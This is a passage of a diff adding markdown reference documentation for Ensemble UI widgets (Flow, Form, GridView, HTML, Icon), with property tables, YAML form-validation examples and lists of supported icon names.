feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | +| gap | integer | The gap between the children in the main direction | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# Flow + +The Flow Widget is a container that wraps its children, with a default horizontal direction that can be customized to vertical, allowing for flexible and fluid layouts within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :--------------------------------------------------------- | +| item-template | object | [See properties](#item-template) | +| children | array | List of widgets | +| direction | string | The main direction to lay out the children before wrapping | +| styles | object | [See properties](#styles) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| mainAxis | string | Control our children's layout vertically | +| gap | integer | The gap between the children in the main direction | +| lineGap | integer | The gap between the lines if the children start wrapping | +| maxWidth | integer | Sets the maximum width allowed for an element. | +| maxHeight | integer | Sets the maximum height allowed for an element. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | + +--- + +# Form widget + +Form is a wrapper widget for inputs such as TextInput, Dropdown, Checkbox, etc. Form enables you to perform validation and styling on inputs inside the Form. + +[Detailed Example of validating/submitting a Form from inside a form or outside](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fIZkgKM25hNHtI0q5wZF) + +### Validate and Submit + +#### Submit a Form from a Button inside a Form +To trigger validation of a Form's children inputs, add a Button widget with the property of `validateForm: true`. In this example, following validations will be performed when the submit button is pressed. If `validateForm: true`, Form will be submitted only if validation passes. + +```yaml +View: + body: + Form: + onSubmit: + invokeAPI: + name: addAccount + inputs: + name: ${name.value} + email: ${email.value} + onResponse: + # perform additional action here + onError: + # perform additional action here + children: + - TextInput: + id: name + label: First and last name + required: true + - TextInput: + id: email + label: Email + required: true + inputType: email + - Button: + label: Submit + validateForm: true + submitForm: true + +API: + addAccount: + inputs: + - name + - email + method: POST + uri: https://sample.api/user + body: + name: ${name} + email: ${email} +``` +#### Validate or Submit a Form from outside the Form +Detailed Example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fIZkgKM25hNHtI0q5wZF) This examples shows how to validate/submit a form from a sticky button in the footer. This is a common pattern in mobile apps. + +By default, when `Form.submit()` is called, it first called `Form.validate()` and calls submit only if the validation succeeds (i.e. all form fields are in valid state. + +Following is a snippet from the example above + +```yaml + footer: + styles: + backgroundColor: white + children: + - Button: + styles: + backgroundColor: black + borderRadius: 40 + padding: 20 + label: Submit + onTap: |- + basicForm.validate(); + complexForm.submit(); +``` + +### Styling + +You can control the styling of inputs' label at the Form level, by setting `labelPosition`, `labelMaxWidth`, and `labelOverflow` properties under Form's style. + +Use `labelStyle` to control the detailed styling of all the labels. Note that an Input widget's own labelStyle will take precedence over the Form's labelStyle. + +```yaml +View: + body: + Form: + styles: + labelPosition: start + labelMaxWidth: 100 + labelOverflow: clip + # all labels will have a bolder weight + labelStyle: + fontWeight: w600 + children: + - TextInput: + label: Name + required: true + - TextInput: + label: email + required: true + inputType: email + styles: + # setting this will ignore the Form's labelStyle + labelStyle: + color: red + - Button: + label: Submit + validateForm: true +``` + +## Properties + +| Property | Type | Description | +| :------- | :------ | :------------------------------------------------------------------------ | +| enabled | boolean | Enables or disables the interactivity and input functionality of the Form | +| onSubmit | action | Action to execute when the form is submitted | +| children | array | List of widgets | +| styles | object | [see properties](#styles) | + +## Styles + +| Property | Type | Description | +|:--------------|:-----------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------| +| labelPosition | string | Where the position the FormField's label `top` `start` `none` | +| labelOverflow | string | Treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | +| labelMaxWidth | integer | Cap the label's width, useful on larger screen. This property only works on labelPosition=start. | +| labelStyle | [TextStyle](#TextStyle) | Styling for the label | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| gap | integer | Vertical gap to insert between the children (default is 10) | + +## Methods + +| Function | Return Type | Description | +|:-----------|:------------|:-------------------------------------------------------------------------------------------------------| +| validate() | boolean | validates each formfield inside the Form. Returns true if all the fields are valid and false otherwise | +| submit() | none | submits the form | + +--- + +# GridView + +The GridView Widget empowers you to render grid-based layouts, enabling the display of content in a structured and organized manner with customizable grid configurations within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :-------------------------------------------------------------------------------------- | +| item-template | object | [See properties](#item-template) | +| onItemTap | action | Call Ensemble's built-in functions or execute code when tapping on an item in the list. The index of the item can be retrieved using 'selectedItemIndex'. You can access as this.selectedItemIndex. See example linked above | +| onItemTapHaptic | enum | The type of haptic to perform when item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| styles | object | [See properties](#styles) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| horizontalTileCount | | The number of horizontal tiles (max 5) to show. If not specified, the number of tiles will automatically be determined by the screen size. You may also specify a single number (for all breakpoints), three numbers (for small, medium, large breakpoints), or five numbers (xSmall, small, medium, large, xLarge). | +| horizontalGap | integer | The gap between the horizontal tiles if there are more than one (default: 10). | +| verticalGap | integer | The gap between the vertical tiles if there are more than one (default: 10). | +| itemHeight | integer | Set a fixed height for each item in the tile. If each tile item comprises of many widgets vertically, setting this attribute may require you to stretch (expand) at least one inner widget. | +| itemAspectRatio | number | Instead of itemHeight, you can set the tile's dimension as a ratio of (item width / item height). For example, a tile with 3x width and 2x height is 3/2 = 1.5. This attribute will be ignored if itemHeight is set. | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | +| gap | integer | The gap between the children in the main direction | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# HTML widget + +The HTML Render Widget enables seamless rendering of HTML code within your application, providing a dynamic and interactive experience for users. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ZhTBody9YozadVvTlhW0) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------ | +| text | string | Enter the HTML text | +| cssStyles | List of [cssStyle](#cssStyle) | Enter the CSS to interact with HTML | + +### cssStyle + +| Property | Type | Description | +| :------- | :----- | :------------------ | +| selector | String | Equivalent to the CSS selector. To select any given tag using either tag name, class name or id of that tag | +| properties | [properties](#properties) | The css properties to apply to a selected tag. | + +### properties + +| Property | Type | Description | +| :--------------------- | :------------ | :------------------------------------------------ | +| backgroundColor | string | Sets the background color of an element. Useful for emphasizing or styling page sections. | +| color | string | Defines the text color within an element, impacting readability and visual hierarchy. | +| counterIncrement | string | Specifies the increment value for counters, facilitating dynamic list numbering or tracking. | +| counterReset | string | Determines the reset value for counters, useful for restarting or initializing counting sequences. | +| direction | string | Sets the text direction, crucial for proper alignment in multilingual content. | +| display | string | Specifies the box model used for an element, influencing its layout and rendering behavior. | +| fontFamily | string | Defines the font family for text, allowing customization of the typeface for stylistic or thematic consistency. | +| fontFeatureSettings | string | Enables advanced typographic features in fonts, providing fine control over ligatures and stylistic elements. | +| fontSize | string | Sets the font size within an element, influencing the overall visual hierarchy and readability of content. | +| fontStyle | string | Specifies the style of the font, such as italic or normal, contributing to the visual emphasis of displayed text. | +| fontWeight | string | Sets the thickness of characters within a text element, allowing for varied emphasis and hierarchy in content. | +| height | string | Defines the height of an element, offering control over vertical dimensions and aspect ratios. | +| letterSpacing | string | Adjusts the spacing between characters in text, providing fine-tuned control over readability and aesthetics. | +| listStyleImage | string | Sets an image as the list-item marker, allowing customization of list styles with distinctive visual markers. | +| listStyleType | string | Defines the type of marker or style for list items, contributing to the overall appearance and theme of content lists. | +| listStylePosition | string | Sets the position of the list-item marker, influencing its placement in relation to list item content and surroundings. | +| margin | string | Sets the margin outside an element's border, controlling spacing between the element and its neighboring elements. | +| padding | string | Defines the padding inside an element's border, ensuring space between the element's content and its border. | +| textAlign | string | Aligns text within an element, controlling horizontal positioning such as left-aligned, center-aligned, or right-aligned.| +| textDecoration | string | Adds decoration to text, like underline or overline, enhancing visual appeal or conveying additional information. | +| textDecorationColor | string | Sets the color of the text decoration, allowing coordination with the document's color scheme. | +| textDecorationStyle | string | Defines the style of the text decoration, influencing its visual appearance with options like solid, dashed, or dotted lines.| +| textDecorationThickness| string | Specifies the thickness of the text decoration, providing control over its visual prominence. | +| textOverflow | string | Defines how text content that overflows its container should be handled, indicating options like ellipsis or clip. | +| textShadow | string | Adds a shadow to text for emphasis, enhancing legibility and visual impact of text elements within a design or layout. | +| textTransform | string | Controls the capitalization of text, allowing options like uppercase or lowercase to achieve stylistic preferences. | +| verticalAlign | string | Aligns the vertical positioning of inline elements, ensuring proper alignment in relation to surrounding content. | +| whiteSpace | string | Controls handling of white space inside an element, influencing text wrapping, line breaks, and spacing for optimal readability.| +| width | string | Defines the width of an element, offering control over horizontal dimensions and aspect ratios. | +| wordSpacing | string | Adjusts spacing between words in text, providing control over the visual appearance and readability of textual content. | +| lineHeight | string | Sets the height of a line of text, influencing overall vertical spacing and readability within an element. | +| maxLines | string | Limits the number of lines for multiline text, controlling display and preventing excessive expansion of text content. | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| headingText | object | Set the text style for the heading text.[see properties](#headingtext) | +| dataText | object | Set the text style for the data item text. [see properties](#headingtext) | + +--- + +# Icon widget + +The Icon Widget enables easy integration of icons from popular libraries like FontAwesome, allowing for seamless customization and visually appealing designs within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7c686f5-b8a2-4670-9e6e-8fdb0fea768e) + + +[List of supported icons](/pages/widgets/icon2.md) + + +## Properties + +| Property | Type | Description | +| :------- | :----- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| icon | string | Icon name from Material Icons or Font Awesome | +| library | [string](/pages/widgets/icon2.md) | Which icon library to use, if there is no value for library then its considered to be default. `fontAwesome` `remix` ( for now only few remix icons are supported but we will support most them soon) You can check list of supported icons [here](/pages/widgets/icon2.md) | +| onTap | action | Call Ensemble's built-in functions or execute code | +| onTapHaptic | enum | The type of haptic to perform when icon is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| color | integer or string | The color of the icon, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| splashColor | integer or string | If onTap is defined, this color will show up as a splash effect upon tapping the icon. Note that the effect only happens if backgroundColor is not set. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer or string | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | +| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# Finding supported icons and their library + +3 icon libaries +Remix, Default, fontAwesome + +## **Remix Library** + +```yaml +- Icon: + name: account_circle_line + library: remix +``` + +See all the Remix Icons from here: [Remix Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=0o5HzVJWvnkAGxlZtCcV&showAction=false&devicePreview=true&instantPreview=true) + +| Icon Name | +| -------------------- | +| account_circle_line | +| add_circle_line | +| arrow_down_s_line | +| verified_badge_fill | +| verified_badge_line | + + + +## **Default Library** + +Specifying the library is not required when using default. + +```yaml +- Icon: + name: alarm + library: default +``` + +See all the default Icons from here: [Material Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=zZMFKXg1UAOaIGPJ2Y5S&showAction=false&devicePreview=true&instantPreview=true) + +| Icon Name | +|---------------------------| +| ac_unit | +| access_alarm | +| access_alarms | +| access_time | +| accessibility | +| accessibility_new | +| accessible | + +## **Font Awesome library** +[Find supported images here!](https://fontawesome.com/search) +```yaml +- Text: + text: Example 2 using FontAwesome +- Icon: + name: coffee + library: fontAwesome + styles: + color: red +``` + +See all the FontAwesome Icons from here: [FontAwesome Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=SfR9shrC1lvBM1Lxvoss&showAction=false&devicePreview=true&instantPreview=true) + +| Icon Name | +|----------------------------------------| +| fiveHundredPx | +| accessibleIcon | +| accusoft | +| alignCenter | +| airbnb | 